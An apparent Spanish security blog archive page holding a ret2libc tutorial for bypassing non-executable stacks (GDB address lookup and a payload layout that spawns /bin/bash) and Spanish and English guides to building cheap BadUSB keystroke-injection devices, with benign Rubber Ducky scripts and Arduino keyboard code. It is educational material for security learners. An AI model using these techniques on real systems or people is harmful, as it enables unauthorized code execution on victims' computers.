Archivo

Archive for the ‘Hacking’ Category

Evadiendo no-exec stacks con técnicas ret2libc

septiembre 14, 2017 Deja un comentario

Desde aquellos días en los que comenzaron a aparecer las primeras vulnerabilidades en programas ejecutables, que típicamente se aprovechaban de un desbordamiento de memoria, se han implementado varios mecanismos de defensa que impiden que los programas vulnerables y potencialmente peligrosos para el sistema puedan ser una amenaza, obviamente la fuente del problema siempre se encuentra fallos de diseño e implementación, una situación difícil de controlar. En el caso de los sistemas más populares hoy en día, existen varias características interesantes que impiden que un programa que presenta condiciones de Stack o Heap overflow puedan “campar a sus anchas”, así nos encontramos con cosas como Stack Cookies o Canaries, DEP, ASLR, etc. Son mecanismos muy potentes que añaden un nivel de complejidad considerable al proceso de explotación, ya que ahora el atacante no solamente se debe preocupar por detectar y explotar vulnerabilidades, sino también de evadir esos mecanismos de protección que no le permiten montar en el sistema atacado su propia “fiesta”. Aún así, existen técnicas que el atacante puede llevar a cabo para saltarse esas medidas de protección y conseguir sus objetivos.

En éste artículo vamos a hablar de una técnica muy interesante que se puede aplicar sobre un programa vulnerable ejecutándose en un sistema GNU/Linux y que debido a su simplicidad y efectividad, la convierte en una técnica muy potente ante aquellos programas que implementan el “No-Exec”, es decir, que marcan la Stack como un espacio de sólo lectura sin la posibilidad de que el procesador interprete los bytes que podemos insertar en ella como instrucciones ejecutables. Hablamos del archiconocido “ret2libc”.

El origen del mal.

El origen de prácticamente todas las vulnerabilidades tiene su base en una mala implementación, errores en diseño y programación que le permiten a un atacante hacer de las suyas. Esto la mayoría de las veces sucede simplemente por descuidos o desconocimiento del programador, aunque también a veces, aunque el programador conoce las consecuencias negativas de cara a la seguridad de ciertas prácticas de desarrollo, por desidia/pereza, simplemente decide ignorarlas y quedarse con la típica frase de: “En mi local funciona”.

Como decía antes, estas cosas son difíciles de controlar, a menos claro, que a ese programador perezoso lo mandes a Corea del Norte a servir al amado “lidel”, en ese caso seguro que se espabila y revisa 20 veces cada una de las líneas de código de su programa.

Ahora bien, como comentaba anteriormente, las Stacks “No exec” impiden que algunas áreas de la memoria (Stack o Heap) puedan ser interpretadas por el procesador como secciones con instrucciones ejecutables. Dado que no se puede inyectar o ejecutar código malicioso en el programa, aunque sea vulnerable, el atacante debe sobrepasar esta barrera antes de poder continuar y para ello puede utilizar la técnica de “ret2libc” o Return To Libc.

Antes de explicar en qué consiste, vamos a partir de un programa vulnerable, el cual contiene el siguiente código:

Explotando el programa con No-Exec habilitado

Es fácil darse cuenta que el programa anterior, además de ser muy simple no realiza ningún tipo de verificación sobre los limites del buffer

En un sistema GNU/Linux, el programa anterior se puede compilar con GCC de la siguiente manera.

gcc -ggdb -fno-stack-protector -o programa programa.c

Por defecto, los programas compilados en la mayoría de versiones del GCC generan un binario con la característica “no-exec” habilitada, lo que significa que si encontramos una vulnerabilidad en el programa y seguimos el procedimiento clásico de sobreescribir el EIP para que realice un salto hacia la stack, lugar en donde tendremos nuestro shellcode, el resultado será una violación de acceso.

Dicho lo anterior, vamos a comenzar a inspeccionar el programa y analizar su comportamiento ante un desbordamiento de pila.

En primer lugar, se carga el programa con el depurador (GDB) y se establece un punto de interrupción en la dirección de memoria en donde se realiza una invocación a la función “tevasacorea”.

El segundo y último punto de interrupción se establece en la instrucción “ret”, justo al final de la función “tevasacorea” para poder ver el contenido de la Stack antes de que se produzca el desbordamiento.

Como se puede apreciar en la última imagen, se ejecuta un programa externo al depurador y en dicho programa, simplemente se crea una entrada de 512 caracteres (concretamente, 512 As). Se pasa por ambos breakpoints y antes de retornar de la función “tevasacorea”, se consulta el estado de la Stack que tal como se puede apreciar, ha quedado en la posición perfecta para sobreescribir el valor del registro EIP con una dirección de memoria arbitraria. Esto significa simplemente, que se debe ejecutar el programa con una entrada que contenga 512 caracteres más una dirección de retorno arbitraria que nos permita manipular el programa y llegados a éste punto, comenzamos a hablar de Ret2Libc.

Aplicando la técnica Ret2Libc para eludir el “No-Exec”

Esta técnica recibe el nombre de Ret2Libc por dos motivos, el primero de ellos es que se basa en el hecho de que en la dirección de retorno de cualquier cualquier función, se puede establecer una dirección de memoria arbitraria que puede hacer parte del programa o de los objetos compartidos y librerías que son necesarias para el correcto funcionamiento del programa, lo que significa que en el caso de no poder utilizar la Stack para nuestro propósito, siempre se puede intentar invocar a otros espacios de memoria o instrucciones ejecutables ubicadas en otra librería. Por otro lado, la librería Libc es muy habitual en programas que se ejecutan sobre sistemas GNU/Linux y en la mayoría de los casos se trata de una dependencia obligatoria, por éste motivo es posible buscar funciones interesantes en dicha librería que nos puedan resultar útiles en el proceso de explotación del programa. Las funciones que se utilizarán en este ejemplo son “system” y “exit”, la primera recibe una cadena como primer argumento, la cual representa un programa a ejecutar y la segunda, permite finalizar un proceso limpiamente. Ambas funciones se pueden concatenar en la cadena de invocaciones gracias a la técnica “ret2libc”, únicamente hay que tener en cuenta que es necesario obtener las direcciones de memoria de cada una de las funciones a invocar y posteriormente, meterlas en la stack en el mismo orden en el que se desea invocarlas. Por último, pero no menos importante, se debe tener en cuenta el tipo de vulnerabilidad que se está explotando, por ejemplo, en el caso de que la vulnerabilidad se base en el overflow de un buffer de cadenas (con el ejemplo del programa anterior con la función strcpy), se debe evitar a toda costa utilizar direcciones de memoria que contengan “null terminators” (\x00) ya que esto haría que se corte el payload y no sea posible obtener los resultados deseados.

Dicho lo anterior, es el momento de buscar las direcciones de memoria correspondientes a las funciones “system” y “exit”.

Como se puede apreciar de la imagen anterior, simplemente con el comando “print” y la función deseada, se puede obtener información sobre la librería y dirección de memoria donde se encuentra cargada dicha función.

Ahora bien, el siguiente paso consiste en especificar el parámetro adecuado a la función “system” con una cadena como “/bin/bash” sería suficiente, pero hay un pequeño problema y es que dicho parámetro no lo espera la función como una cadena simple, espera la referencia de una dirección de memoria que apunta a una cadena de texto con el nombre del binario a ejecutar, lo que se conoce coloquialmente en programación en C/C++ como un puntero. Por lo tanto, simplemente hay que buscar una dirección de memoria que apunte a una cadena que tenga el programa deseado. Afortunadamente, en las variables de entorno existen varias entradas que contienen valores de configuración y entre otras cosas, suele haber una variable llamada “SHELL” que define el programa que preferiblemente se debe de lanzar cuando se invoque a una shell en el sistema. Ahora, cómo se consigue acceso a las variables de entorno del sistema desde un programa en ejecución? La respuesta es simple, gracias a la Stack. Como seguramente ya sabreis, la Stack de un programa no solamente almacena parámetros y las variables locales correspondientes a cada Stack Frame o función invocada en un programa, también incluye todas las variables de entorno que hay en el sistema por si alguno de los Stack Frames del programa necesita acceder a cualquiera de dichas variables. Con esto en mente, basta simplemente con inspeccionar la Stack para obtener la dirección exacta donde se encuentra la variable de entorno “SHELL”.

Tal como se puede ver en el programa anterior, después de buscar los contenidos de la Stack con un comando como “x/5000s $exp” desde el depurador, se puede encontrar la variable de entorno SHELL y una dirección de memoria que puede ser útil para enviar como primer argumento de la función “system”.

Ahora que ya se cuenta con todo lo necesario para aplicar la técnica de Ret2Libc, es el momento de componer el payload que tendrá los siguientes valores:

“A”*512 + Dirección de memoria system + Dirección de memoria exit + Dirección de memoria del programa a ejecutar por system.

Por último, a diferencia de los valores que normalmente se suelen encontrar en tráfico de red, cuando se habla de programas y direcciones de memoria, se utiliza el formato “little endian”, por lo tanto es necesario establecer cada dirección de memoria en sentido inverso.

Después de lanzar nuevamente el programa con el payload adecuado, utilizando la técnica ret2libc, se puede apreciar que se ha conseguido ejecutar el programa “/bin/bash” y ahora se cuenta con una consola plenamente funcional, solamente ha bastado con indicar las direcciones de memoria adecuadas y concatenar cada una de las invocaciones con sus correspondientes parámetros. Una técnica que puede ser sencilla de implementar y muy potente, os animo a que lo probéis.

Un saludo y Happy Hack.

Adastra.

Vuelve el patito low cost, ahora grazna como un USB Rubber Ducky original

septiembre 5, 2017 4 comentarios

Sobre los autores: Ernesto Sánchez (@ernesto_xload) y Joel Serna (@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, MorterueloCON y Eastmadhack.

 

 

Buenos días a todos!

Hace un tiempo, os contábamos como hacer un dispositivo BadUSB por alrededor de 1 euro, lo podéis leer aquí , en él, a efectos prácticos, explicábamos como montar un dispositivo similar a un USB Rubber Ducky, en el sentido de que se comporta como un teclado automático y pre-programado para hacer unas funciones concretas, pero puede quedarse algo corto en algunas ocasiones, sobre todo por el limitado almacenamiento y memoria ram de su microcontrolador ATTINY85: 8KB de flash y 512 bytes de ram.

Como no podía ser de otra forma, hemos estado pensando es éste asunto y ofreceros algo más funcional y, sobre todo, más fácil de utilizar. Una de las opciones deseables que nos parecia mas útil, era que se pudiesen utilizar directamente scripts del USB Rubber Ducky sin tenerlos que adaptar de ninguna forma, debido a su amplia expansión, conocimientos y ejemplos que existen en internet.

Como mencionamos en el artículo anterior, y aunque sea repetirlo, un BadUSB es un dispositivo USB con apariencia de otro dispositivo distinto (para confundir al usuario normalmente) que al conectarlo a cualquier ordenador realiza “otras cosas”, en el caso mas general emula un teclado que de forma automática “teclea” lo que le hayamos programado a gran velocidad sin que el usuario se percate, normalmente, de lo realizado.

Cuando hablamos de BadUSB, así en general, se cubren muchos dispositivos , desde algunos hackeados a tal efecto como los pendrives con el controlador Phison 2251-03 (2303), los dispositivos de desarrollo genérico como Teensy (en cualquiera de sus variantes) o Arduino Leonardo / Micro o dispositivos específicos orientados a auditorias de seguridad como el Phoenix Ovipositor o el USB Ruber Ducky, siendo éste último el mas famoso entre la comunidad hacker (entiéndase siempre en el buen sentido de la palabra, para más información sobre la comunidad hacker visitar este link).

Aunque solo sea por ser el mas famoso, y porque vamos a acabar usando su lenguaje de scripting, vamos a hacer una reseña sobre el USB Rubber Ducky: es un dispositivo desarrollado y comercializado por la empresa estadounidense Hak5 que una vez conectado al ordenador se comporta como un teclado virtual, programable a través de un sistema de scripting relativamente simple (scripts que una vez escritos han de ser compilados y almacenados en formato binario en su tarjeta micro SD).

Como ejemplo: el clásico “Hola Mundo”:

DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!
ENTER

El código hace lo siguiente:

Delay 3000: Espera “x” milisegundos (en este caso se produce una pausa larga al inicio para la instalación de drivers en el equipo, aunque también se utiliza para dar un tiempo prudencial a que se abra un programa u otras tareas)

GUI r: Pulsa las teclas Windows (GUI) y “R” simultáneamente para abrir la ventana “Ejecutar” en un sistema operativo Windows

STRING notepad: Manda una cadena de caracteres, en este caso Notepad (editor de textos de windows)

ENTER: Envia la tecla Enter, en este caso para ejecutar el programa Notepad

STRING Hello World!!!: Manda una cadena de caracteres, en este caso Hello World!!!

ENTER: Envía la tecla Enter, en éste caso para introducir el carácter de nueva línea.

La referencia completa al lenguaje de scripting se puede encontrar aquí, algunos scrips de ejemplo aquí (La mayoría de dichos scripts pueden encontrarse debidamente revisados para Windows 10 en el github de Joel).

Una vez explicado para que sirve el dispositivo y mostrado un payload de ejemplo, algunas personas se pueden encontrar con una barrera: el precio, cuesta unos 45 US$ (mas 12US$ de envío) que está muy bien para algunos sectores profesionales o semiprofesionales, pero puede estar fuera de alcance de algunas personas que solo les apetece “cacharrear”.

Por eso, después de buscar mucho, valorar opciones y un montón de horas de picar código, os presentamos como hacer un clon perfecto del USB Rubber Ducky, que interpreta sus scripts a la perfección sin siquiera tener que compilarlos, por unos 10€ o menos.

El dispositivo en concreto que vamos a utilizar es éste:

Se puede encontrar fácilmente en aliexpress buscando badusb.

NOTA IMPORTANTE: Aunque en los resultados salen otros dispositivos, en éste artículo nos referimos ÚNICAMENTE al mostrado en la fotografía

El dispositivo presenta las siguientes características de hardware:

  • Microcontrolador ATmega32u4 (32KB de flash y 2,5KB de ram) con bootloader de Arduino Leonardo

  • Tarjeta microSD

  • Circuitería auxiliar varia (circuitería discreta, oscilador a 16mhz, regulador de tensión a 3,3v y conversor de niveles)

Vamos al meollo de la cuestión:

Instalación y configuración:

Para poder hacer este BadUSB, necesitaremos:

  • Tener el dispositivo mencionado anteriormente.

  • IDE de Arduino (Descargable de https://www.arduino.cc/en/Main/Software)

    • Una vez instalado debemos asegurarnos de que las librerías estén actualizadas.

    • En caso de usar Linux debemos asegurarnos que nuestro usuario pertenece al grupo dialout

    • En el caso de usar Windows deberemos tener correctamente instalados los drivers de Arduino Leonardo

  • Librería de teclado multi idioma (https://github.com/ernesto-xload/arduino_keyboardlib) ya que por defecto la de arduino solo soporta teclados con el layout en_US

  • Firmware del interpretador: Descargable desde aquí

Una vez todo correctamente instalado, ejecutamos el IDE de Arduino y abrimos el código del interpretador: Archivo > Abrir

Tenemos que asegurarnos que todo está configurado para la placa compatible con Arduino Leonardo, para ello vamos a la opción de herramientas -> Placa -> “Arduino Leonardo”. Posiblemente nos asignará el puerto, si no, seleccionamos el correspondiente.

Conectamos el dispositivo.

Compilamos y subimos el código con el botón correspondiente.

En la parte inferior del IDE de Arduino veremos si se ha grabado correctamente:

Con ésto ya tenemos el clon del USB Rubber Ducky listo, a partir de aquí sólo hay que copiar el script de USB Rubber Ducky correspondiente en una microsd formateada en fat16 o fat32 con el nombre “script.txt” y una vez insertado en un ordenador procederá a su ejecución.

Por supuesto el código fuente del interpretador es software libre y podemos modificarlo a nuestro gusto, añadiendo nuevos comandos o personalizando los ya existentes, de hecho existen dos comandos extra a modo de ejemplo: led_on y led_off (en minúsculas) que encienden y apagan el led presente.

Como ejemplo vamos a probar el payload You got quaqued!, del propio repositorio de Hak5.

NOTA: Algunos payloads hechos para el USB Rubber Ducky disponibles en al repositorio de Hak5, están preparados para Windows 7, y necesitan ser modificados para versiones posteriores de éste sistema operativo (se pueden encontrar ya modificados en éste enlace como hemos dicho anteriormente). En este caso concreto, lo hemos modificado para poder utilizarlo en Windows 10 y no tengamos ningún error:

DELAY 1000
GUI d
DELAY 500
GUI r
DELAY 500
STRING chrome
DELAY 500
ENTER
DELAY 5000
STRING https://i.imgflip.com/1dv8ac.jpg
DELAY 500
ENTER
DELAY 3000
CTRL s
DELAY 1000
STRING %userprofile%\Desktop\QUACKED
ENTER
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING %userprofile%\Desktop\QUACKED.jpg
ENTER
DELAY 1000
MENU
DELAY 500
DOWNARROW
DELAY 500
DOWNARROW
DELAY 500
ENTER
ALT F4
DELAY 500
GUI d
DELAY 500
MENU
DELAY 500
STRING v
DELAY 500
STRING d

Como somero resumen: lo que hace el payload es abrir Chrome, entrar a un enlace donde encontramos una imagen del USB Rubber Ducky, la descarga, la pone de fondo de pantalla del escritorio y, por último, oculta todos los iconos del escritorio.

Podemos ver que el lenguaje que utiliza este payload, es exactamente el mismo que utiliza el USB Rubber Ducky. De ésta forma, podemos usar cualquier payload existente para el Rubber Ducky, crear nuestros propios payloads con el mismo lenguaje o utilizar alguna de las múltiples herramientas que los genera automáticamente como Metasploit.

Bonus track:

En la búsqueda que hemos hecho anteriormente en aliexpress hemos podido ver como aparecen otros dispositivos, algunos basados en el Attiny85 que cubrimos en la entrada BadUSB Ultra Low Cost, y otros basados en el Atmega32U4 como el que ha ocupado éste articulo, pero sin zócalo para tarjeta micro SD, son los que se pueden ver a continuación:

Llama especialmente la atención el que se comercializa directamente con el factor de forma de un pendrive acabado en aluminio, en caso de querer realizar un pentesting seria el mas indicado para dejar abandonado en las inmediaciones del objetivo y esperar a que alguien lo conecte. No podemos olvidar la prueba realizada por Elie Bursztein en abril del 2016 plasmada en “Concerns about USB security are real: 48% of people do plug-in USB drives found in parking lots, las cifras hablan por si mismas, y son simplemente apabullantes.

En éste caso no podemos hacer de script kiddies o usar alguna herramienta de “botón gordo” y vamos a tener que programar el código que queremos que ejecute el microcontrolador directamente, cosa no muy complicada debido a toda la documentación existente, pero amigos… el hacking implica fundamente aprender y conocer, por eso nunca os damos todo hecho, perdería toda la gracia.

A continuación mostramos un ejemplo, muy básico que abre un bloc de notas y escribe la cadena “hola mundo” (es válido tanto para Windows como para Linux con Gnome o derivados comentando y/o descomentando las líneas correspondientes):

#include "Keyboard.h"

void setup() {
	// Inicializamos el teclado
	Keyboard.begin();

}

void loop() {
	delay(20000); // Espera 20 segundos (20000 milisegundos) 	
        CommandAtRunBarMSWIN("notepad"); 
        // Abre notepad en Windows 	
        //CommandAtRunBarGnome("gedit"); // Abre gedit en Gnome
	Keyboard.println("hola mundo"); // Enviá “hola mundo”
	while(1); // Detiene la ejecucion del programa.

} 

void CommandAtRunBarMSWIN(char *SomeCommand { 
	Keyboard.press(KEY_LEFT_GUI);
	Keyboard.press('r');
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll();

}

void CommandAtRunBarGnome(char *SomeCommand){
	Keyboard.press(KEY_LEFT_ALT);
	Keyboard.press(KEY_F2);
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll(); }

Las funciones CommandAtRunBarMSWIN y CommandAtRunBarGnome han sido extraídas de la librería phukdlib de IronGeek que aunque originalmente está preparada para dispositivos Teensy podéis descargarla modificada para Arduino Leonardo y compatibles aquí.

Para cualquier duda o sugerencia podéis contactar con nosotros a través de los enlaces que hemos proporcionado de Twitter y Github o bien el canal de Telegram de The Hacker Way.

¡Hasta la próxima!

Get back the low cost duck, now squawks like an original USB Rubber Ducky

septiembre 5, 2017 Deja un comentario

About the authors: Ernesto Sánchez (@ernesto_xload) and Joel Serna (@JoelSernaMoreno) are computer security consultants who have participated in events such as: Black Knife, MorterueloCON and Eastmadhack.

 

 

Hi everyone!

Long time ago, we show you how to make a BadUSB device so cheap (around 1 euro), you can read it here. To practical effects, we explained how to mount a Rubber Ducky USB device, in the matter that it behaves like an automatic keyboard and pre-programmed to do some specific functions. but may be some short sometimes, especially by the limited storage and RAM memory of your ATTINY85 microcontroller: 8KB flash and 512 bytes of ram.

As it not be otherwise, we have been thinking this matter and offer something more functional and, above all, easier to use. One of the desirable options, that seemed to us most useful, was that you could directly use USB Rubber Ducky scripts without having to adapt them in any way, due to its extensive expansion, knowledge and examples that exist on the internet.

As we mentioned in the previous article, a BadUSB is a USB device with the appearance of another device (for confuse the user) that when is connected to any computer does “other things”, The more usual fact, emulates a keyboard that automatically “types” what we have programmed at high speed without the user realizing what we have done.

When we talk about BadUSB, overall, we talk about many devices, from some hacked devices, to such effect as the pendrives with the controller Phison 2251-03 (2303), generic development devices such as Teensy (in any of its variants), Arduino Leonardo / Micro or specific devices oriented to Security audits such as the Phoenix Ovipositor or the USB Ruber Ducky, being this last one the most famous among the hacker community (always be understood in the good meaning of the word, for more information about hacker community visit this link).

Not only because it is the most famous, and because we will end up using its scripting language, we are going to review the USB Rubber Ducky: it is a device developed and marketed by the US company Hak5 that once connected to the computer, it behaves like a virtual keyboard, programmable through a relatively simple scripting system (scripts that once written must be compiled and stored in binary format on your micro SD card).

As an example: the classic “Hello World”:

DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!

ENTER

The code does the following things:

DELAY 3000: Wait “x” milliseconds (in this case a long pause occurs at driver installation on the computer, but it is also used to a reasonable time to open a program or other tasks)

GUI r: Press the Windows (GUI) and “R” keys simultaneously to open the window

“Run” on a Windows operating system

STRING notepad: Sends a characters string, in this case Notepad (editor texts of windows)

ENTER: Send the Enter key, in this case to execute the program Notepad

STRING Hello World!!!: Send a character string, in this case Hello World!!!

ENTER: Send the Enter key, in this case to enter the new line character.

The full reference to the scripting language can be found here, some scripts here (Most scripts can be found revised for Windows 10 in Joel’s github).

Once explained for what the device serves are used and showed an example payload, some people may find a problem: the price, it costs about 45 US $ (Plus $ 12 shipping cost) which is fine for some professional sectors, but for “normal people like us” maybe that price is outside the budget if we only want to “play a little”

That is why, after searching, view differents options and a lot of hours of itching code, we show you how to make a perfect USB Rubber Ducky clone, which interprets their scripts perfectly without even having to compile them, for only 10 € or less.

The device which we are going to use is this:

It can be easily found on aliexpress, searching for badusb


EXPLANATORY NOTE: Although other devices are output in the results article we refer ONLY to that shown in the photograph

The device has the following hardware features:

  • ATmega32u4 microcontroller (32KB flash and 2.5KB ram) with Bootloader by Arduino Leonardo

  • MicroSD card

  • Auxiliary circuitry varies (discrete circuitry, oscillator at 16mhz, Voltage to 3.3v and level converter)

Installation and configuration:

To be able to do this BadUSB, we will need:

  • Have the device mentioned above.
  • Arduino IDE (Downloadable from https://www.arduino.cc/en/Main/Software)
    • Once installed we must make sure that the libraries are updated.
    • In case of using Linux we must make sure that our user belongs to the dialout group
    • In case of using Windows we must have correctly installed the Arduino Leonardo drivers

Once everything is properly installed, run the Arduino IDE and open the Interpreter code: File > Open

We have to make sure everything is set up for the board compatible with Arduino Leonardo, for this we go to the option of tools -> Board -> “Arduino Leonardo “. Possibly we will assign the port, if not, select the port corresponding.

We connect the device.

We compile and upload the code with the corresponding button.

At the bottom of the Arduino IDE we will see if it has been recorded correctly:

With this instructions, we already have the USB Rubber Ducky clone ready for use,now er need copy the corresponding Rubber Ducky USB script into a microsd formatted in fat16 or fat32 with the name “script.txt” and once inserted in a computer shall, it begin to run it.

Of course, the source code of the interpreter is free software and we can modify it to our liking, adding new commands or customizing them exist, there are, in fact, two extra commands by way of example: led_on and led_off (In lower case) that turn on and off the present LED.

As an example we will test the payload You got quaqued!, from the repository itself Hak5.

NOTE: Some payloads made for USB Rubber Ducky , they are available at Hak5 repository, are prepared for Windows 7, and need to be modified for latest versions of this operating system (you can find modified in this link as we have said previously). In this matter, we have modified it to be able to use it in Windows 10 and we have no error:

DELAY 1000
GUI d
DELAY 500
GUI r
DELAY 500
STRING chrome
DELAY 500
ENTER
DELAY 5000
STRING https://i.imgflip.com/1dv8ac.jpg
DELAY 500
ENTER
DELAY 3000
CTRL s
DELAY 1000
STRING %userprofile%\Desktop\QUACKED
ENTER
DELAY 500
GUI d
DELAY 500
GUI r
DELAY 500
STRING %userprofile%\Desktop\QUACKED.jpg
ENTER
DELAY 1000
MENU
DELAY 500
DOWNARROW
DELAY 500
DOWNARROW
DELAY 500
ENTER
ALT F4
DELAY 500
GUI d
DELAY 500
MENU
DELAY 500
STRING v
DELAY 500
STRING d

As a summary: what payload does is open Chrome, enter a link where we find an image of the USB Rubber Ducky, download it, puts it as Desktop wallpaper, and finally, it hides all the icons on the desktop.

We can see that the language that uses this payload, is exactly the same used by USB Rubber Ducky. In this way, we can use any existing payload for Rubber Ducky, create our own payloads with the same language or use one of the multiple tools that automatically generates them as Metasploit.

Bonus track:

In the search we have done previously in aliexpress, we have been able to see how other devices appear, some based on the Attiny85 that we covered in the entry BadUSB Ultra Low Cost, and others based on the Atmega32U4 like the one we talked in this article, but without socket for Micro SD card, are the ones that can be seen below:

Its curious the fact that it is directly marketed with the shape of a finished pendrive (covered with aluminium), If you want to realize a pentesting, this would be the most suitable to leave in the surroundings of the objective, and wait for someone to connect it. We can not forget the test done by Elie Bursztein in April 2016 expressed in “Concerns about USB security are real: 48% of people do plug-in USB drives found in parking lots” the rates speak for themselves, and they are overwhelming.

In this case we can not do script kiddies or use any tool “Fat button”and we will have to program the code that we want to run on the Microcontroller directly, thats not a very complicated task because there are a lot of documentation for it, but, my dear friends … hacking involves learning and Knowing, that’s why we never give you everything done,It loses its appeal.

Here is an example, very basic that opens a notebook and write the string “hello world” (it is valid for both Windows and Linux with Gnome or derivatives commenting and / or uncommenting the corresponding lines):

#include "Keyboard.h"

void setup() {
	// Inicializamos el teclado
	Keyboard.begin();

}

void loop() {
	delay(20000); // Espera 20 segundos (20000 milisegundos) 	CommandAtRunBarMSWIN("notepad"); // Abre notepad en Windows 	//CommandAtRunBarGnome("gedit"); // Abre gedit en Gnome
	Keyboard.println("hola mundo"); // Enviá “hola mundo”
	while(1); // Detiene la ejecucion del programa.

} 

void CommandAtRunBarMSWIN(char *SomeCommand { 
	Keyboard.press(KEY_LEFT_GUI);
	Keyboard.press('r');
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll();

}

void CommandAtRunBarGnome(char *SomeCommand){
	Keyboard.press(KEY_LEFT_ALT);
	Keyboard.press(KEY_F2);
	delay(100);
	Keyboard.releaseAll();
	delay(1500);
	Keyboard.print(SomeCommand);
	Keyboard.press(KEY_RETURN);
	Keyboard.releaseAll(); }

The CommandAtRunBarMSWIN and CommandAtRunBarGnome functions have been from IronGeek’s phukdlib bookstore which were originally created for Teensy devices. You can download it modified for Arduino Leonardo and compatible here.

For any doubt or suggestion you can contact us by the Links we have provided from Twitter and Github, or the Telegram channel from The Hacker Way.

See you soon!

BadUSB Ultra Low Cost

julio 10, 2017 12 comentarios

Sobre los autores: Ernesto Sanchez (@ernesto_xload) y Joel Serna(@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, MorterueloCON y Eastmadhack.

Buenos días a todos!

Teníamos pensado hacer 3 artículos sobre distintos BadUSB: (“Introducción”, “Low-cost” y “Soluciones profesionales”), pero dentro de nuestra manía de empezar la casa por el tejado, hemos decidido empezar con un artículo de ultra low cost, mostrando como hacer un BadUSB por 1 euro aproximadamente, que en muchas ocasiones podrá hacer las mismas funciones que el famoso USB Rubber Ducky de Hack5 (44,95 US$ + envío), si, sabemos que puede parecer una locura, pero funciona.

La idea, básica y extremadamente resumida de BadUSB, por si alguien no sabe de que va el asunto aún, es emular un teclado sobre un dispositivo USB normal, para poder emular el comportamiento del usuario, y por tanto poder ejecutar comandos y programas en el sistema atacado, sin el consentimiento de la víctima.

Hemos utilizado como hardware el Digistump Digispark, éste dispositivo utiliza el microcontrolador Attiny85 de Microchip. Dicho microcontrolador es un micro de 8 bits que nos ofrece: 8kb de memoria flash, 512b EEPROM, 512b SRAM y 6 puertos I/O (Enlace al datasheet completo). De este dispositivo se pueden encontrar múltiples clones, con distintos tipos puertos USB, realizados en China en páginas como Aliexpress o Ebay por precios que rondan 1 euro.

Configuración e instalación del software

Una vez hemos obtenido el dispositivo, tenemos que tener en cuenta que, primero tenemos que instalar el IDE de Arduino y también los drivers en el caso de Windows (Aqui).

NOTA: no es aconsejable instalar el IDE de Arduino desde repositorios de nuestra distribución de Linux, suele ser una versión algo obsoleta y puede darnos problemas. Destacar que el funcionamiento del dispositivo es ligeramente distinto a cualquier otro Arduino con el que hayamos trabajado anteriormente y necesita ser desconectado y conectado para ser reprogramado (Hay disponible un dispositivo para hacer ésto por hardware mediante un interruptor disponible aquí, pero no creemos que sea tanta molestia conectar y desconectar el dispositivo cada vez). Lo primero es tener la última versión del arduino IDE (Aquí) y asegurarnos que está todo actualizado.

El segundo paso es bajar el paquete de compatibilidad con ésta placa y el IDE de Arduino para poder trabajar correctamente con ella, para ello tenemos que ir a Archivo -> Preferencias -> Gestor de URLs Adicionales de Tarjetas y añadiremos en una nueva linea lo siguiente (si tenemos alguna no es incompatible):

http://digistump.com/package_digistump_index.json

Simplemente aceptamos y vamos a Herramientas -> Placa -> Gestor de Tarjetas, aquí buscamos Digistump AVR Boards y procedemos a su instalación.

En caso de usar linux, es posible que tengas que tener la versión actual y legacy de libusb, así como añadir unas reglas nuevas de udev, hay un tutorial de Digistump aquí. Comentar que las librerías originales de Digistump solo poseen soporte para emular teclados con el layout en_US (Inglés de EEUU), con lo que es muy aconsejable descargar e instalar la librería con soporte para otros idiomas, disponible aquí.

Hola Mundo

Lo mas clásico, cuando hablamos de microcontroladores, es hacer un blinking led como “Hola mundo”, ésto es un programa que haga parpadear un led a una frecuencia determinada, como en nuestro caso nuestro dispositivo puede comunicarse con algo mas que un led vamos a hacer un “Hola mundo” mediante teclado USB. Tenemos que abrir el IDE de Arduino que hemos descargado y configurado anteriormente, también nos tenemos que asegurar que hemos configurado la placa correcta, para ello vamos a Herramientas -> Placa y seleccionamos “Digisparck (Default – 16.5 mhz)” y ningún puerto.

Como código escribiremos el siguiente:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  DigiKeyboard.delay(5000);
}

void loop() {
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(250);
  DigiKeyboard.println(F("notepad"));
  delay(250);
  DigiKeyboard.println(F("Hola mundo!"));
  while(1);
}

El código es muy simple, pero vamos a explicarlo mas detalladamente:

  • #define kbd_es_es : Configura el mapa del teclado, en nuestro caso español de España.
  • #include “DigiKeyboard.h” : Incluye la librería para emulación de teclado.
  • DigiKeyboard.delay(5000) : Espera 5 segundos (por posible instalación de drivers, etc …)
  • DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT) : Pulsa la tecla de Windows + R que hace que aparezca la ventana de ejecutar comando en los sistemas Windows, para los sistemas con Gnome deberiamos enviar KEY_F2 y MOD_ALT_LEFT (Alt + F2)
  • DigiKeyboard.println(F(“notepad”)) : Envía la cadena notepad, seguida de la tecla enter, en gnome podemos poner gedit.
  • DigiKeyboard.println(F(“Hola mundo!”)) : Envía la cadena “Hola mundo” seguida de enter.
  • while(1) : Termina el programa, ya que la sección loop se ejecuta continuamente en bucle.
  • delay(250) : Se han incluido varios a lo largo del código, para dar tiempo a que el sistema operativo anfitrión ejecute la orden anterior.

Lo siguiente es compilar y subir el código, primero podemos pulsar el botón de Verificar para asegurarnos de que no existe ningún error y después pulsar el botón Subir, NOTA: Sin conectar el dispositivo aún. A los pocos segundos, el IDE nos pedirá que conectemos el dispositivo y lo reprogramará como podemos ver en la siguiente captura. Ya está nuestro “hola mundo”, a los pocos segundos ejecutará el código, dicho código está guardado en la flash del Attiny85 con lo que se ejecutará cada vez que conectemos el dispositivo a un ordenador.

Haciendo maldades

